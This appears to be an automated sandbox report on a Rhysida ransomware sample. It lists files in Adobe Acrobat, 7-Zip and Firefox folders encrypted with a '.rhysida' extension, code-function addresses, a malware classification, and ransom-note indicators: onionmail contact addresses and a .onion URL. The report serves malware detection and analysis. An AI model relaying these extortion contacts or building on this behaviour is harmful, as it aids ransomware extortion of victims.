Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png.rhysida entropy: 7.99687523902	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\license.html.rhysida entropy: 7.99455167354	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\7-Zip\Lang\bn.txt.rhysida entropy: 7.99022328191	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\license.html.rhysida entropy: 7.9945513695	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\license.html.rhysida entropy: 7.99484946092	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\license.html.rhysida entropy: 7.99397179065	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi.rhysida entropy: 7.99955357177	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Mozilla Firefox\browser\features\formautofill@mozilla.org.xpi.rhysida entropy: 7.9989730596	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\license.html.rhysida entropy: 7.99457858381	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nb_NO\license.html.rhysida entropy: 7.99469902301	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ko_KR\license.html.rhysida entropy: 7.99475243459	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nl_NL\license.html.rhysida entropy: 7.99470413637	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pl_PL\license.html.rhysida entropy: 7.99532515172	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif.rhysida entropy: 7.99208752095	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pt_BR\license.html.rhysida entropy: 7.9947788484	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ru_RU\license.html.rhysida entropy: 7.99711229266	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sl_SI\license.html.rhysida entropy: 7.99342904507	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sk_SK\license.html.rhysida entropy: 7.99475611584	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sv_SE\license.html.rhysida entropy: 7.99421193382	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\tr_TR\license.html.rhysida entropy: 7.99392680049	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\uk_UA\license.html.rhysida entropy: 7.99672658578	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_CN\license.html.rhysida entropy: 7.99291681919	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_TW\license.html.rhysida entropy: 7.99240318066	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Light.eot.rhysida entropy: 7.99942159287	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\acrobat_pdf.svg.rhysida entropy: 7.9917611764	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Bold.eot.rhysida entropy: 7.99939230893	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Bold.woff.rhysida entropy: 7.99855455957	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Regular.eot.rhysida entropy: 7.99941304471	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Regular.woff.rhysida entropy: 7.99889999501	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\PDFSigQFormalRep.pdf.rhysida entropy: 7.99960654046	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Accessibility.api.rhysida entropy: 7.9997260125	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\adobepdf.xdc.rhysida entropy: 7.99652485499	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Light.woff.rhysida entropy: 7.99876428019	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\QRCode.pmp.rhysida entropy: 7.99773337041	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\AdobePDF417.pmp.rhysida entropy: 7.9981810828	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\DataMatrix.pmp.rhysida entropy: 7.99962795087	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\CompareMarkers.pdf.rhysida entropy: 7.99135437337	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\MSRMS.api.rhysida entropy: 7.99980613534	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\eBook.api.rhysida entropy: 7.99725348621	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\3difr.x3d.rhysida entropy: 7.99941905758	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\js\plugin.js.rhysida entropy: 7.99876472208	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\tesselate.x3d.rhysida entropy: 7.99510665029	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\prc\MyriadCAD.otf.rhysida entropy: 7.99741370913	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\drvDX9.x3d.rhysida entropy: 7.99960306159	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\2d.x3d.rhysida entropy: 7.99978449589	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\drvSOFT.x3d.rhysida entropy: 7.99895472709	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Spelling.api.rhysida entropy: 7.99953201003	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\css\main.css.rhysida entropy: 7.99632052562	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\sl-si\ui-strings.js.rhysida entropy: 7.99028648373	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\sk-sk\ui-strings.js.rhysida entropy: 7.99013062279	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\ui-strings.js.rhysida entropy: 7.99206666984	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ca-es\ui-strings.js.rhysida entropy: 7.99153976611	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\de-de\ui-strings.js.rhysida entropy: 7.99103616038	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\eu-es\ui-strings.js.rhysida entropy: 7.99026465757	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ja-jp\ui-strings.js.rhysida entropy: 7.99062421521	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fi-fi\ui-strings.js.rhysida entropy: 7.99471977501	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\aic_file_icons.png.rhysida entropy: 7.99691988248	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_bow.png.rhysida entropy: 7.99588341398	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-ccx-chunk.js.rhysida entropy: 7.99691308932	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\eu-es\ui-strings.js.rhysida entropy: 7.99536976824	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-ma\ui-strings.js.rhysida entropy: 7.99128221144	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fr-fr\ui-strings.js.rhysida entropy: 7.99574056807	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\c124efa99176e538252a2ae3cef2137e.png.rhysida entropy: 7.99952517452	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-en-AE-json-chunk.js.rhysida entropy: 7.9976259717	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fr-ma\ui-strings.js.rhysida entropy: 7.99571539816	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ru-ru\ui-strings.js.rhysida entropy: 7.99290413924	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\8329-chunk.js.rhysida entropy: 7.99888472445	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-ca-ES-json-chunk.js.rhysida entropy: 7.99800015873	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-cs-CZ-json-chunk.js.rhysida entropy: 7.99803310077	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\uk-ua\ui-strings.js.rhysida entropy: 7.99200588532	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_MakeChanges.webm.rhysida entropy: 7.99929205114	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\hu-hu\ui-strings.js.rhysida entropy: 7.99501010743	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_SeeMenuOptions.webm.rhysida entropy: 7.99924744877	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-eu-ES-json-chunk.js.rhysida entropy: 7.99755242609	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_SaveReadOnlyCopy.webm.rhysida entropy: 7.99825747596	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\hr-hr\ui-strings.js.rhysida entropy: 7.99529413314	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-de-DE-json-chunk.js.rhysida entropy: 7.9982441632	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ja-jp\ui-strings.js.rhysida entropy: 7.99635600827	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_PrepareAForm.webm.rhysida entropy: 7.99953382352	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-en-US-json-chunk.js.rhysida entropy: 7.99781945264	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\it-it\ui-strings.js.rhysida entropy: 7.99546135928	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ro-ro\ui-strings.js.rhysida entropy: 7.99515002411	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_WorkFromAnywhere.webm.rhysida entropy: 7.99807560672	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\pt-br\ui-strings.js.rhysida entropy: 7.99510575214	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_FillAndSignYourForm.webm.rhysida entropy: 7.99935554224	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nb-no\ui-strings.js.rhysida entropy: 7.99518681532	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nl-nl\ui-strings.js.rhysida entropy: 7.99540578885	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ko-kr\ui-strings.js.rhysida entropy: 7.99613651875	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\images\powered_by_adobe_sign_old.svg.rhysida entropy: 7.99428431848	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_ReorderPages.webm.rhysida entropy: 7.99880709736	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sk-sk\ui-strings.js.rhysida entropy: 7.99575718913	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ru-ru\ui-strings.js.rhysida entropy: 7.99669049317	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sl-si\ui-strings.js.rhysida entropy: 7.99464413827	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js.rhysida entropy: 7.99482026392	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6665-chunk.js.rhysida entropy: 7.99265293166	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_FindAndShare.webm.rhysida entropy: 7.99898269805	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ca-es\ui-strings.js.rhysida entropy: 7.99303798357	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\cs-cz\ui-strings.js.rhysida entropy: 7.99249726906	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_GetStartedWithANewFile.webm.rhysida entropy: 7.99891287729	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\uk-ua\ui-strings.js.rhysida entropy: 7.99717268244	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_AddCustomPage.webm.rhysida entropy: 7.9993364073	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sv-se\ui-strings.js.rhysida entropy: 7.99482853599	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\pl-pl\ui-strings.js.rhysida entropy: 7.99643356938	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\ui-strings.js.rhysida entropy: 7.99057294566	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\de-de\ui-strings.js.rhysida entropy: 7.99246642994	Jump to dropped file

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00425900	0_2_00425900
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0043D4C0	0_2_0043D4C0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0041B070	0_2_0041B070
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00426800	0_2_00426800
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00431500	0_2_00431500
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0042D390	0_2_0042D390
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0044A8C0	0_2_0044A8C0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0043F100	0_2_0043F100
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00429930	0_2_00429930
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00424130	0_2_00424130
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0043D130	0_2_0043D130
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0043D9C0	0_2_0043D9C0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_004369C0	0_2_004369C0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0042F980	0_2_0042F980
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0041C1B0	0_2_0041C1B0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00442250	0_2_00442250
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0044A200	0_2_0044A200
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00438210	0_2_00438210
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00431A20	0_2_00431A20
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00436A30	0_2_00436A30
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00442A90	0_2_00442A90
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0042D370	0_2_0042D370
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0042C340	0_2_0042C340
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00433B40	0_2_00433B40
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0042FC50	0_2_0042FC50
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0043E4C0	0_2_0043E4C0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0043EC80	0_2_0043EC80
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0041ACA0	0_2_0041ACA0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00431500	0_2_00431500
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0040E5F2	0_2_0040E5F2
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00448D90	0_2_00448D90
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00424640	0_2_00424640
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00441EE0	0_2_00441EE0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0041CE80	0_2_0041CE80
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_004386A0	0_2_004386A0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0042D740	0_2_0042D740
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00435F00	0_2_00435F00
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00431F20	0_2_00431F20
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00424FC0	0_2_00424FC0

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: String function: 0041F440 appears 252 times
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: String function: 00449A00 appears 46 times

Source: classification engine

Classification label: mal92.rans.evad.winEXE@1/1025@0/0

Source: CriticalBreachDetected.pdf67.0.dr	Initial sample: mailto:GeraldoDenesik@onionmail.org
Source: CriticalBreachDetected.pdf67.0.dr	Initial sample: https://www.torproject.org/download/
Source: CriticalBreachDetected.pdf67.0.dr	Initial sample: http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/
Source: CriticalBreachDetected.pdf67.0.dr	Initial sample: mailto:CandidaNitzsche@onionmail.org

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe

File created: C:\Program Files\CriticalBreachDetected.pdf

Jump to behavior

Source: lMNx3XfBrF.exe

